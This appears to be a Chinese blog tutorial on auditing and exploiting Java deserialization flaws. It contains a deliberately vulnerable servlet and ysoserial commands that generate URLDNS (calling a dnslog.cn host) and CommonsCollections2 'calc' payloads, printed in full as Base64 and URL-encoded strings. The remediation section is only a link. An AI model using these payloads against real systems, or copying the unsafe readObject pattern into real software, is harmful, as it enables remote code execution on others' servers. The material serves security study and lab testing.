Java代码审计12之反序列化漏洞的审计与利用

文章目录

  • 1、重点函数,
  • 2、漏洞源码
  • 3、利用工具 ysoserial
  • 4、修复漏洞

1、重点函数,

ObjectInputStream.readObject

ObjectInputStream.readUnshared

XMLDecoder.readObject

Yaml.load

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject

2、漏洞源码

接受前端传参,然后将传参base64解码下,

然后将字符串转换为字节数组,然后反序列化这些字节数组。


在Java中,所有的对象都是以字节序列的形式存储的,

因此需要通过对象输入流来反序列化这些字	节序列,从而得到原始的对象。
package com.example.demo2;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

@WebServlet("/deser")
public class aa extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        req.setCharacterEncoding("utf-8");
        resp.setCharacterEncoding("utf-8");
        resp.setContentType("text/html;charset=utf-8");
        String basestr = req.getParameter("str");
        byte[] decodeStr = Base64.getDecoder().decode(basestr);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        try {
            Object o = ois.readObject();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }finally {
            ois.close();
            resp.getWriter().write("反序列化漏洞测试");
        }
    }
}

3、利用工具 ysoserial

这个是国外的一个前人写的,有国人做了一些魔改,使用起来会更方便一些,

直接下载一个前人写的,

https://github.com/Y4er/ysoserial



ysoserial ⽀持很多 Gadget Chain 每条利⽤连都有组件或者版本的限制。

通常使⽤ URLDNS 这条链⼦是jdk原⽣态的⼀条链⼦ 不⽤组件⽀持和不受jdk版本的影响。

所以测试⼀般使⽤这条链⼦,
# java -jar ysoserial-main-923a2bda4e-1.jar URLDNS http://aa.xbavgg.dnslog.cn | base64 -w 0

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAE2FhLnhiYXZnZy5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAGmh0dHA6Ly9hYS54YmF2Z2cuZG5zbG9nLmNueA==  
“base64 -w 0”表示不换行输出,

将得到的base64编码后的payload在进行url编码一下,
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa%2FORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F3QAE2FhLnhiYXZnZy5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAGmh0dHA6Ly9hYS54YmF2Z2cuZG5zbG9nLmNueA%3D%3D

注意点:
需要将payload进行url编码,不然会失败

Java代码审计12之反序列化漏洞的审计与利用_第1张图片

通过URLDNS确认存在反序列化漏洞,但是这仅仅是证明漏洞存在,如何执行命令。

选择不同的利用链还得根据项目不同的环境来,

要寻找源码是否有可⽤执⾏命令的类或者函数或者使⽤第三⽅组件执⾏命令较多。

⼤多数都需要⽤到第三⽅组件,第三⽅组件受jdk或者是组件版本限制。

当前的jdk版本是1.8.0_202 

cc1受版本限制, cc2 没限制 这⾥采⽤cc2 commons-collections4

先完善测试环境,

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

Java代码审计12之反序列化漏洞的审计与利用_第2张图片

这里利用cc2,但是kali直接生成payload出错,看样子java的版本存在一些问题,
java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections2 calc                                                     130 ⨯
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Error while generating or serializing payload
javassist.NotFoundException: ysoserial.payloads.templates.CommandTemplate
        at javassist.ClassPool.get(ClassPool.java:450)
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:109)
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:96)
        at ysoserial.payloads.CommonsCollections2.getObject(CommonsCollections2.java:36)
        at ysoserial.payloads.CommonsCollections2.getObject(CommonsCollections2.java:26)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)

换个ysoserial工具,

java -jar ysoserial-all.jar  CommonsCollections2 "calc" | base64 -w 0 

经过url编码后的最终payload,

rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci%2F5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB%2BAAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tc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bwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4
刷新弹出计算器,

Java代码审计12之反序列化漏洞的审计与利用_第3张图片

4、修复漏洞

反序列化漏洞已经是一个比较成熟的漏洞了,相关的修复方式也是比较多,

参考,

https://blog.csdn.net/m0_38103658/article/details/100581450

你可能感兴趣的:(代码审计,java,开发语言)